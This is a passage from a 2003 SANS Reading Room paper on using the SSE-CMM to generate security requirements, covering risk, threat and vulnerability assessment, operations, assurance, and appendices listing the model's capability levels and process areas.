networking, the use of tape backups, and the implementation of redun dant firewalls and routers to achieve high availability. These security goals should be extensive enough to convince the customer that the important data is secured, but not so sweeping as to make the cost unreasonable. The security goals should also be co nsidered by the customer in light of the functionali ty of the system for the eventual users. The goals must not require an i mplementation that prevents the users from accom plishi ng reasonable tasks that are in li ne with the plans of the customer. 2) Develop a prototype system that implements the security goals in a limited fashion. Demonstrate the prototype to the customer to obtain approval for the functionality of the system as well as its security. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 93) Provide documentation of the legal implications of the sys tem. These implications might include security for financial transactions, confidentiality for medical records, disclaimers attached to information given to users, forms regarding consent to monitoring by system administrators, privacy policies for data th at is collected, and liabil ities incurred by unexpected downtime or breaches in security. 4) Create a security view for the system to be developed. This view should document all aspects of the system that have to do w ith security, i ncluding areas such as the high-level securi ty requirements, network features that support security, the operational concept for adding new users, and what services will be available on which hosts. 5) Document the security polici es to be implemented in the system. Review the list to e nsure self -consistency as well as consistency with the defined security goals. These policies might include disabling trusted hosts, requiring the use of SSL where possible, expiring user passwords after 60 days, installing and maintaining mail filters tha t check for viruses, performing nightly backups, and banning the downloading or installation of unauthorized software. 6) Create a disaster recovery plan that deals with areas such as storage of data backups, emergency contacts, alternate facil ities to be use d, financial mechanism s needed to fund recovery, and a prioritized li st of capabilities to restore. Security Assessment (PA02, PA03, PA04, PA05) BP.2.01 Identify, analyze, and prioritize operational, business, or mission capabilities leveraged by the sys tem. BP.2.02 Identify and characteri ze the system assets that support the key operational capabil ities or the security objectives of the system. BP.2.03 Select the impact metric to be used for this assessment. BP.2.04 Identify the relationship between t he selected metrics for this assessment and m etric conversion factors i f required. BP.2.05 Identify and characterize i mpacts. BP.2.06 Monitor ongoing changes in the i mpacts. The goal of PA02 is to document the impact of the various threats to the syste m. The type of impact should be identified as well as a quantitative value of the impact. This characterization will be used in the ensuing determination and prioritization of risks. PA02 should generate requirements that direct the identification and quantificati on of impacts. Some ex ample requirements follow. 1) Document potential impacts to the system based on previously i dentified threats. If a threat was to occur and the system was vulnerable to that threat, identi fy the nature of the impact. Impacts can be felt in such areas © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 10as financial stabil ity, legal li ability, public relations, competitive adva ntage, possession of trade secrets, system capabilities, and harm to personnel. 2) Quantify each impact. Ways to measure impacts include days of lost schedule, dollar s of lost revenue, number of lost customers, and number of severe injuries. It is difficult to compare the different units, so define a mapping to a comm on unit such as l ow/medium /high. For instance, an impact of more than one m illion doll ars may be defined as high, as might an impact of more than 20 lost customers. In that case, those two impacts would be considered equivalent. 3) Establish a regular re view of impact information to account for changes in the quantification, for the realization of new i mpacts, and for the elimination of existing i mpacts. BP.3.01 Select the methods, techniques, and criteria by which security risks, for the system in a defined environment are analyzed, assessed, and compared. BP.3.02 Identify threat/vulnerabili ty/impact triples (exposures). BP.3.03 Assess the risk associated with the occurrence of an exposure. BP.3.04 Assess the total uncertainty associated with the risk for the exposure. BP.3.05 Order risks by priority. BP.3.06 Monitor ongoing changes in the risk sp ectrum and changes to their characteristics. The goal of PA03 is to combine the threats, vulnerabilities, and impacts into identifiabl e risks. After identifying the ri sks, they must be prioriti zed and assessed for levels of uncertainty. The aim of this a ctivity is to ensure that the most important risks are addressed fi rst. The most important risks may not be resolved first due to time, money, or other factors, but they should be addressed and consciously set aside before less important risks are resolved . PA03 should generate requirements that direct the identification and priori tization of risks, as well as a mechanism to ensure the risks are addr essed. Some example requirements include the following. 1) Define the controlled envi ronment in which risks wil l be examined. There are an unli mited number of risks that face every system. Many of these risks are infrequent, unl ikely to cause damage, and not very harmful when they do cause damage. A scope must be established for the examination of risks that includ es boundaries on the ri sks to be exam ined and assumptions about the operating conditions for the system. For instance, the assumption that nobody will ever instal l an unauthori zed modem may be valid in an envir onment that has st rict physical and personnel controls. 2) Compare the previously defined threats and vulnerabilities to one another to locate likel y areas for problems. If a threat occurs frequently and the system is specifically vulnerable to that threat, then the i mpact of the threat must be examined to ascertain the level of exposure. If a threat is infrequent or the system is not vulnerable, the impact of the threat is less © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 11important. For instance, when viewing equipment failure as a threat to availabil ity, the impact of the threat is of greater impo rtance if the system does not have redundant hardware, thereby increasing its vulnerability. 3) Using the threat/vulnerabili ty/impact com parisons, prioriti ze the risks. A high threat, high vulnerabili ty, high impact risk should also have a high priority. If a ny of those areas is low, the risk has a lower priority. And if all three areas are low, the risk is general ly unimportant, compared to the other risks. 4) Define the uncertainty level associated with each risk. If the risk is difficult to quantify, then the uncertainty level will be correspondingly high, which may affect the prioritized ranking of the risks. For instance, if a fire would cause the repair or replacement of a system, the impact m ay be the total replacement cost. But the possibility of a less co stly repair introduces uncertainty that might l ower the risk somewhat. 5) Assign the responsibil ity of risk management to the security review board. The board should assess the prioritization of risks, decide which risks should be addressed, and assign due da tes and responsible individuals for the resolution of risks. They should also establish a regular review of risk information to account for changes in threats, vulnerabilities, and impacts. BP.4.01 Identify applicable threats arisi ng from a natural source . BP.4.02 Identify applicabl e threats arising from man -made sources, either accidental or deliberate. BP.4.03 Identify appropriate units of measure, and applicable ranges, in a specified environment. BP.4.04 Assess capability and motivation of threat ag ent for threats arising from man -made sources. BP.4.05 Assess the likelihood of an occurrence of a threat event. BP.4.06 Monitor ongoing changes in the threat spectrum and changes to their characteristics. The goal of PA04 is to document the threats th at could occur with regard to the system. These threats could be man -made or natural; they could be deliberate, accidental, or random. After defining the threats, they must be characterized regarding the likel ihood of their occurrence. Threats that are unl ikely to occur are less important than threats that will almost certainly occur. This characterization will be used in the ensuing determination of risk. PA04 should generate requirements that direct the identification and measurement of threats. Some exa mple requirements follow. 1) Document potential threats against the system. Include such items as malicious software; operator error; hardware or infrastructure failure; severe weather; fire; cyber -attacks such as denial of service, theft of data, and data de struction; and non -computer criminal activity such as vandalism and theft. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 122) Rate the likelihood of each potential threat. Rate threats within categories and across categories. For instance, tornadoes are much more likely in Oklahoma than hurricanes, but nei ther one is as likely as a power outage or malicious software. To facilitate comparison, assign an appr oximate frequency of occurrence for each threat. 3) When rating the likelihood of man -made threats, take into account the motivation and capability of the t hreat agents. High -profile or controversial entities are more likel y to face malicious man -made threats than low - profile entities. Entities with valuable data are more likely to face the threat of theft than entities without valuable data. 4) Establish a regu lar review of threat information to account for changes in frequency, severity, and nature, as well as the introduction of new threats and the obsolescence of old threats. BP.5.01 Select the methods, techniques, and criteria b y which security system vulne rabiliti es in a defined environment are identified and characterized. BP.5.02 Identify system sec urity vulnerabil ities. BP.5.03 Gather data related to the properties of the vulnerabilities. BP.5.04 Assess the system vulnerabil ity and aggregate vulnerabi lities that result from specific vulnerabilities and combinations of specific vulnerabilities. BP.5.05 Monitor ongoing changes in the applicable vulnerabilities and changes to their characteristics. The goal of PA05 is to document the vulnerabilities th at could exist within the system as it is currently defined. These vulnerabiliti es are weaknesses in the system that could be exploited if the right circumstances were to occur. This list of vulnerabiliti es will be used in the ensuing determination of risk . PA05 should generate requirements that direct the identification of vulnerabilities. Some exam ple req uirements foll ow. 1) Document potential vulnerabili ties in the system. Include such items as the presence of a wireless network, connections to the Interne t, incoming mail, easily removable hard drives, the capability for users to access the system w ithout identifyi ng themselves, single points of failure in the system, limited bandwidth in external connections, the existence of open ports on exposed machines , and the lack of physical securi ty measures surrounding the system. 2) Document th e interaction of different vulnerabili ties. For instance, easily removable hard drives and a lack of physical or personnel security measures m ight lead to a vulnerabi lity like theft of data. Connections to the Internet combined with an out -of-date operating system might lead to a vulnerability to easily obtained root access. 3) Perform periodic vulnerabil ity assessments w ith Nessus. Eliminate false positives and correct all securit y holes. Analyze all security warnings and © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 13security notes to determine if corrective action is warranted. Report the results of the assessment to the security working group (Cole, p. 136, 139). 4) Establish a regular review of vulnerability i nformation to doc ument new vulnerabiliti es that are introduced and vulnerabilities that have been eliminated, as well as changes in existing vulnerabilities. Operations and Maintenance (PA01, PA08) BP.1.01 Establish responsibilities and accountability for security contro ls and comm unicate them to everyone in the organi zation . BP.1.02 Manage the configuration of system security controls . BP.1.03 Manage security awareness, training, and education programs for all users and administrators . BP.1.04 Manage periodic maintena nce and administration of security services and control mechanisms . The goal of PA01 is to m ake sure that planned and intended security features are actually used in practice to keep security at the intended level throughout the lifetime of the system. V arious changes have the potential to affect security, such as: • New employees – as less -experienced employees are hired to operate the system and more -experienced employees are reassigned, important knowledge about maintaining security can be lost. It is im portant for this information to be captured an d comm unicated. • Hardware and software upgrades – each new release may carry its own special security issues, so there should be a clear plan for securely incorporating changes in technology. • Facility changes – Changing the physical location of the tape backup area could result in an i ncreased exposure to fire, theft, or simple misplacement. These types of changes must be reviewed from a security standpoint, even though the connection between physical facilities and computer system security is not always obvious. Because PA01 is concerned with ongoing maintenance issues, the creation of procedures to support security is a focus of the related requi rements. Here are some examples. 1) Define the individual roles invol ved in security during the operations and maintenance phase; specify the training that the roles need and the authority that the roles have. Examples of roles might include: a. Security officer – the responsible person, makes final decisions, reviews security incidents, trained in the nature of threats b. Security architect – head technical person for securi ty, makes technical decisions to implement policies provided by the security officer, trained in the nature of threats and how they apply to the technology in use © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 14c. Administrator – upgrades system, configures system, full access requires complete trust from security officer, reviews security events in search of incidents, trained i n system adm inistration and the security features of various products d. Operator – runs system according to rules, reports security events, trained to operate the system e. User – uses system according to rules, does not share access with others, trained to use the system f. Developer – aware of security guidelines when creating fixes or enhance ments that may or m ay not be security re lated, rai ses issues to security architect, trained to recognize and eliminate specific security holes at the lowest level g. Tester – tests security changes, tests non -security changes, always on the lookout for potent ial security issues, provides the last line of defense before a change goes into an operational system, trained in the proper behavior and security approach of the system 2) Create a security plan for system configuration and maintenance. The plan might provi de information on such things as: a. Handling appli cation updates from the softw are configuration management system and patches from vendors b. Defining ownership and permissions for configuration data associated with firewalls, routers, and servers c. Comparing sy stem configuration to related interface control documents to verify IP addresses, protocols, and allowable traffic d. Documentation necessary to track configuration changes, such as date of change, person making change, reason, problems found during and after implementation e. History of security requi rements m odificati ons, with each modification traced back to its approval authori ty and information on the method of implementation f. Steps necessary to sanitize the system to eliminate potentially compromising test d ata before the system becomes operational for the first time BP.8.01 Analyze event records to determine the cause of an event, how it proceeded, and likely future events . BP.8.02 Monitor changes in threats, vulnerabiliti es, impacts, risks, and the enviro nment . BP.8.03 Identify security relevant incidents . BP.8.04 Monitor the performance and functional effectiveness of security safeguards . BP.8.05 Review the security posture of the system to identify necessary changes . BP.8.06 Manage the response to se curity relevant incidents . BP.8.07 Ensure that the artifacts related to security monitoring are suitably protected . © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 15 The goal of PA08 is to identify breaches, attempted breaches, and possible future breaches of the securi ty mechanisms, and to ensure that the proper steps are taken in those situations. Ideally, the proper application of the defined procedures will prevent the introduction of new vulnerabilities. PA08 is concerned with both internal and external security incidents. Like PA01, PA08 is conce rned with the ongoing operation of the system rather than development, so the creation of procedures to support security should be reflected i n the require ments. Here are some ex ample requirements that might be useful. 1) Create a log for recording significan t security events. Not all events should be recorded (e.g., not every successful login), but only those events deemed worth recording (e.g., a successful login foll owing numerous failed attempts). This log does not show everything known about the event, bu t it contains log r eferences and other information that will support investigation of the event at a l ater date if such an investigation is needed. 2) Create a security plan for event monitoring tha t deals with system configuration changes, facility interrupt ions, abnormal application behavior, and examples of noteworthy log entries for such i tems as routers, firewalls, syslog, sulog, loginlog, and security -specific application logs. This plan should also establish criteria for notification of the security officer and an outline for the handling of security incidents. 3) Create a security plan for the reevaluation of threats, vulnerabilities, impacts, and risks. This reevaluation should be at least periodic, with potential unscheduled reevaluations in the case of certain events. This plan should define the level of formality, the respons ible indivi dual, and the role of the customer in the process. This plan might include periodic testing of security readiness with the use of password cracking tools, network scannin g tools, and comparisons of the planned system configuration to the actual configuration. 4) Define the security metrics to be collected during normal operation of the system, such as the num ber of successful and fai led logi ns, the number and severity of secu rity incidents, the number of security policy violations, and the number of weak passwords in use (Lowans, p. 2). Each metric should include a threshold for variance from the baseline that triggers notification of the security officer. 5) Protect security mon itoring arti facts from unauthorized m odification or deletion. Update the permissions on sulog, loginlog, and syslog so that only the system administrator has access (Aton, p. 6). Migrate logs to an automatic tape storage device daily. Restrict physical acc ess to the tape storage area to authorized personnel only. Convincing the Customer (PA06, PA11) BP.6.01 Identify the security assurance objectives. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 16BP.6.02 Define a security assurance strategy to address all assurance objectives. BP.6.03 Identify and c ontrol security assurance evidence. BP.6.04 Perform analysis of security assurance evidence. BP.6.05 Provide a security assuran ce argument that demonstrates the customer's security needs are met. The goal of PA06 is to convince the customer that the sy stem being produced is actually secure. The previously establi shed security goals must be addressed with documentation that shows how those goals are being met. This documentation should include proof that the security requi rements derived from the goals a re being met in such a way that the system rem ains operati onally useful. PA06 should generate requi rements that specify the customer’s ex pectations for a convincing case showing the security of the system. Here are some exam ple requirements. 1) Generate a re quirements verification traceabil ity matrix. This matrix s hould map the customer -approved security goals to high -level requi rements, to low-level deri ved requirements, and to test cases performed to verify the requirements. The customer should be involved in approving the high and low-level requi rements. If the custom er is not convinced that the requirements w ill result in the fulfil lment of the security goals, the overall security of the system will be a difficul t position for the security engineer to defend. 2) Generate detailed test procedures for security requirements. During verification, record all test results. Use screen prints and save data to files where possible so that results can be reviewed at a later time. 3) Generate a detailed system configuration record for the system used during testing. Compare this record to the planned system configuration for the operational system; explain the differences and their i mpact on security. 4) Testing should not only inspect and probe low -level detail s of the system such as attempting a disallowed protocol through the firewall or verifying that a password shadow file is i n use, it should also test the application that is expected to run on the secured system. Tests should show that a regular user is able to use the sy stem appropriately and without undue hindrances caused by security measures; for instance, an authorized user is able to log i n from a web interface and query the database. Tests should al so show data successfully flowing from end to end throughout the entire system and that performance is not hindered by security measures such as a proxy -based firewall. 5) Submit all records of security requirement verification to the security review board for long -term control. BP.11.01 Identify the solution to be verified and validated. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 17BP.11.02 Define the approach and level of rigor for verifying and validating each solution. BP.11.03 Verify that the soluti on implements the requirements associated with the previous level of abstraction. BP.11.04 Validate the solution by showing that it satisfies the needs associated with the previous level of abstraction, ul timately meeting the customer’s operational security needs. BP.11.05 Capture the verification and validation results for the other engineering groups. The goal of PA11 is to assess the appropriateness of the security solution fro m two perspectives: verify that the sol ution that was implemented is exactly what was planned, and validate that the soluti on that was planned will fully accom plish the security goals of the customer. Failure on either one of these counts results in a system that does not meet the customer’s needs, so it is important to investigate these two questions. For exam ple, for a security goal of taking al l reasonable steps to avoid malicious software , there might be a requirement to filter incoming email for viruses. The requirement could be verified by inspecting the configuration of the mail server. But this requi rement would need to w ork in conjunction with other requirements in order to be validat ed as meeting the security goal. Some of those other requirements m ight incl ude polici es eliminating the use of personally -owned software or media, a ban on downloading executables from the Internet, or standards for virus detection software on individual computers. PA11 deals with the appli cability and verification of the requirements them selves, so it should result i n requirements that call for both an overall system view of the security efforts and a plan for ensuring that those efforts were successful. Some example requirements m ight incl ude the following. 1) For each requirement, create a verification plan that descri bes the method of testing (demonstration, analysis, inspection, or test) as well as a somew hat detailed descri ption of the test to be run. The verification plan might also include a li st of the hardware and software packages to be used in the test. Present this plan to the security review board for approval. 2) Document the requirements that are associated with each security goal. Explain how th e requirements work together to achieve the goal w hile stil l allowing the necessary functionali ty of the system to continue. Present the documentation to the customer and obtain approval for the chosen implementation. 3) Report results from the verification o f performance requirements to the systems engineering organization for further analysis. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 18Benefits of the SSE -CMM Approach Using the SSE -CMM as a vehicle to generate security re quirements meets the goals discussed earlier – it is a logical approach, an d it provides a foundation for future changes. The SSE -CMM provides a flexible approach that can be molded to fit the security needs of any project. It is not specific about how security issues are to be identified and resolved, but it lays down the princ iples to foll ow when doing so. It covers the entire life cycle of the project, from initial architecture decisions to monitoring of the operational system. The SSE -CMM provides a finite set of areas to consider. Sixty -one base practices is a lot of ground to cover, but the security engineer can have some confidence that once those items are covered, the entire breadth of the security spectrum has been addressed. The SSE -CMM, as an ISO -accepted standard developed by an industry/government consortium, lends an air of credibility to the security engineer’s clai ms of a com prehensive security i mplementation. The security plans and other documentation created as a result of the requirements generated from the SSE -CMM will provide the customer with confidence tha t security will be maintained. The SSE -CMM provides a ready answer for future increases in funding. There will almost certainly be some base practices that were not implem ented initi ally. And for those base practices that are in place, increased funding c an be used to raise the maturity level of those practices by further defining, quantifying, and improving the processes. The SSE -CMM provides a repeatable approach to the generation of security requirements, which can be valuable when a new threat arises. By assessing the threat, reviewing the architecture, following operational procedures to deal with the threat, and explaining the solution to the customer, the security engineer can reliabl y handle new requirements jus t as well as the original ones were h andled. The use of the SSE -CMM provides a clear roadmap to generating security requirements. This roadmap can mean the difference in a never -ending swirl of requirements changes and issues or steady progress towards a robust security requirements baselin e. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 19References Aton, Amy. “Securing Unix Step -by-Step.” URL: http://www.giac.org/practical/Amy_Aton_gcux.zip (8 March 2003). Carnegie Mellon Software Engineering Institute. “Capability Mat urity Model for Software (SW -CMM).” 23 January 2003. URL: http://www.sei.cmu.edu/cmm (8 March 2003). Carnegie Mellon Software Engineering Institute. “Concept of Operations for the CMMI.” 11 November 2002. URL: http://www.sei.cmu.edu/cmm i/backgr ound/conop s.html (8 March 2003). Cole, Eric; Newfield, Mathew; Millican, John M. SANS GIAC Certification: Security Essentials Toolkit (GSEC) . Indianapoli s: Que Publishing, 2002. 136 – 139. Fulton, Bradley. “The W eakest Link: The Human Factor.” 29 August 2001. U RL: http://www.sans.org/rr/encryption/human.php (8 March 2003). International Systems Security Engineering Association. “Press Release – Version 2 of the SSE -CMM Accepted by the ISO.” 8 August 2002. URL: http://www.issea.org/news/press/press.htm (8 March 2003). International Syste ms Security Engineering Association. “Th e Systems Security Engineering Capabili ty Maturity Model (SSE -CMM).” 25 April 2002. URL: http:// www.issea.org/sse _cmm/sse_cmm .html (8 March 2003). Lowans, P aul. “Implementing a Network Security Metrics Program.” URL: http://www .giac.org/pr actical/Paul _Lowans_GSEC.doc (8 March 2003). The SANS Institute. “Clarke Says Cyberterrorism is a Real Threat. ” SANS NewsBites . Volume 5:1 (8 January 2003): Editor’s Note. URL: http://www.sans.org/new sletters/newsbites/vol 5_1.php (8 March 2003). SSE-CMM Project. “System s Security Engi neering Capability Maturity Model, Model Description Document Version 2.0.” 1 April 1999. URL: http:// www.sse - cmm .org/model/sse cmm v2fina l.pdf (8 March 2003). © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 20Appendix A: Capability Dimension Ov erview (SSE -CMM, p. 312 - 314) Capability Level 1 – Performed Informally At this level, al l base practices are per formed som ewhere in the project’s or organization’s i mplemented process. H owever, consistent planning and tracking of that perfor mance is missi ng. Good performance, therefore, depends on individual knowledge and effort. Work products are generally adequate, but quality and efficiency of production depend on how well individuals within the organization perceive that tasks should be performed. Base d on experience, there is general assurance that an action will be perfor med adequately when required. However, the capability to perform an activity i s not generally repeatable or transferable. Common Feature 1.1 – Base Practices Are Performed GP 1.1.1 – Perform the Process Capability Level 2 – Planned and Tracked At the Planned and Tracked level, planning and tracking are introduced. There is general recogniti on that the organization’s performance is dependent on how efficiently the security engineering base practices are implemented within a project’s or organization’s process. Therefore, work products related to base practice implementation are periodically reviewed and placed under version control. Corrective action i s taken when indicated by variance s in work products. The primary distinction between the Performed Informally and the Planned and Tracked levels is that at the latter level , the execution of base practices in the project’s implemented process is planned and managed. Therefore, it is repea table within the implementing project, though not necessarily transferable across the organization. Common Feature 2.1 – Planning Performance GP 2.1.1 – Allocate Resources GP 2.1.2 – Assign Responsibilities GP 2.1.3 – Document the Process GP 2.1.4 – Provi de Tools GP 2.1.5 – Ensure Training GP 2.1.6 – Plan the Process Common Feature 2.2 – Disciplined Performance GP 2.2.1 – Use Plans, Standards, and Procedures GP 2.2.2 – Do Configuration Management Common Feature 2.3 – Verifying Performance GP 2.3.1 – Verify Process Compliance GP 2.3.2 – Audit Work Products © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 21 Common Feature 2.4 – Tracking Performance GP 2.4.1 – Track with Measurement GP 2.4.2 – Take Corrective Action Capability Level 3 – Well Defined At this level, base practices are performed throughout th e organization via the use of approved, tailored versi ons of standard, documented processes. Data from using the process are gathered and used to determine if the process should be modified or improved. This information is used in planning and managing the day-to-day execution of multiple projects within the organization and is used for short - and long -term process improvement. The main difference between the Planned and Tracked and W ell Defined levels is the use of organization -wide, accepted standard proc esses, that implement the characteristics exhibited by the base practices. The capability to perform an activity is, therefore, directly transferable to new projects within the organization. Common Feature 3.1 – Defining a Standard Process GP 3.1.1 – Stan dardize the Process GP 3.1.2 – Tailor the Standard Process Common Feature 3.2 – Perform the Defined Process GP 3.2.1 – Use a Well -Defined Process GP 3.2.2 – Perform Defect Reviews GP 3.2.3 – Use Well -Defined Data Common Feature 3.3 – Coordinate Practices GP 3.3.1 – Perform Intra -Group Coordination GP 3.3.2 – Perform Inter -Group Coordination GP 3.3.3 – Perform Ex ternal Coordi nation Capability Level 4 – Quantitatively Controlled At the Quantitatively Controlled level, measurable process goals are establish ed for each defined process and associated work products, and detailed measures of performance are collected and analyzed. These data enable quantitative understanding of the process and an improved ability to predict perfor mance. Perform ance, then, is obj ectively managed and defects are selectively identified and corrected. Common Feature 4.1 – Establishing Measurable Quality Goals GP 4.1.1 – Establish Quality Goals Common Feature 4.2 – Objectively Managing Performance GP 4.2.1 – Determine Process Capabi lity GP 4.2.2 – Use Process Capability © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 22 Capability Level 5 – Continuously Improving This is the hi ghest achievement level from the viewpoint of process capability. The organization has established quantitative, as well as qualitative, goals for process eff ectiveness and efficiency, based on long - range business strategies and goal s. Continuous process improvement toward achievement of these goals using timely, quantitative performance feedback has been established. Pilot testing of innovative ideas and plann ed insertion of new technology achieves further enhancements. Common Feature 5.1 – Improving Organizational Capability GP 5.1.1 – Establish Process Effectiveness Goals GP 5.1.2 – Continuously Improve the Standard Process Common Feature 5.2 – Improving Pr ocess Effectiveness GP 5.2.1 – Perform Causal Analysis GP 5.2.2 – Eliminate Defect Causes GP 5.2.3 – Continuously Improve the Defined Process © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 23Appendix B: Security Engineering Process Area Overview (SSE - CMM, p. 315 -318) The security engineering category groups together those process areas that are primarily concerned with performing security engineering. They are organized alphabeticall y within the category to discourage the reader from inferring a sequence for the process areas. PA01: Administer Securit y Controls Goal 1 Security controls are properly configured and used. BP.01.01 Establish responsibilities and accountability for security controls and communicate them to everyone in the organization. BP.01.02 Manage the configuration of system securit y controls. BP.01.03 Manage security awareness, training, and education programs for all users and administrators. BP.01.04 Manage periodic maintenance and administration of security services and control mechanisms. PA02: Assess Impact Goal 1 The secu rity impacts of risks to the system are identified and characterized. BP.02.01 Identify, analyze, and prioritize operational, business, or mission capabilities l everaged by the system. BP.02.02 Identify and characteri ze the system assets that support th e key operational capabili ties or the security objectives of the system. BP.02.03 Select the impact metric to be used for this assessment. BP.02.04 Identify the relationshi p between the selected metrics for this assessment and m etric conversi on factors if required. BP.02.05 Identify and characterize i mpacts. BP.02.06 Monitor ongoing changes in the i mpacts. PA03: Assess Security Risk Goal 1 An understanding of the security risk associated with operating the system within a defined environment is achieve d. Goal 2 Risks are prioritized according to a defi ned methodology. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 24BP.03.01 Select the methods, techniques, and criteria by which security risks, for the system in a defined environment are analyzed, assessed, and compared. BP.03.02 Identify threat/vu lnerabili ty/impact triples (exposures). BP.03.03 Assess the risk associated with the occurrence of an exposure. BP.03.04 Assess the total uncertainty associated with the risk for the exposure. BP.03.05 Order risks by priority. BP.03.06 Monitor ongoing changes in the risk spectrum and changes to their characteristics. PA04: Assess Threat Goal 1 Threats to the security of the system are identified and characterized. BP.04.01 Identify applicable threats arisi ng from a natural source. BP.04.02 Identif y applicable threats arising from man -made sources, either accidental or deliberate. BP.04.03 Identify appropriate units of measure, and applicable ranges, in a specified envir onment. BP.04.04 Assess capability and motivation of threat agent for threats arising from man -made sources. BP.04.05 Assess the likelihood of an occurrence of a threat event. BP.04.06 Monitor ongoing changes in the threat spectrum and changes to their characteristics. PA05: Assess Vulnerability Goal 1 An understanding of syste m security vulnerabilities within a defined environment is achieved. BP.05.01 Select the methods, techniques, and criteria by which security system vulnerabilities in a defined envir onment are identified and characterized. BP.05.02 Identify system secur ity vulnerabilities. BP.05.03 Gather data related to the properties of the vulnerabilities. BP.05.04 Assess the system vulnerabili ty and aggregate vulnerabilities that result from specific vulnerabilities and combinations of specific vulnerabilities. BP.05.05 Monitor ongoing changes in the applicable vulnerabilities and changes to their characteristics. PA06: Build Ass urance Argument © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 25Goal 1 The work products and processes clearly provide the evidence that the customer’s security needs have been met. BP.06.01 Identify the security assurance objectives. BP.06.02 Define a security assurance strategy to address all assurance objectives. BP.06.03 Identify and control security assurance evidence. BP.06.04 Perform analysis of security assurance evidence. BP.06.05 Provide a security assura nce argument that demonstrates the customer's security needs are met. PA07: Coordinate Security Goal 1 All members of the project team are aw are of and i nvolved with security engineering activities to the extent neces sary to perform their functions. Goal 2 Decisions and recommendations related to security are comm unicated and coor dinated. BP.07.01 Define security engineering coordination objectives and relationships. BP.07.02 Identify coordinati on mechanisms for se curity engineering. BP.07.03 Facilitate security engineering coordination. BP.07.04 Use the identified 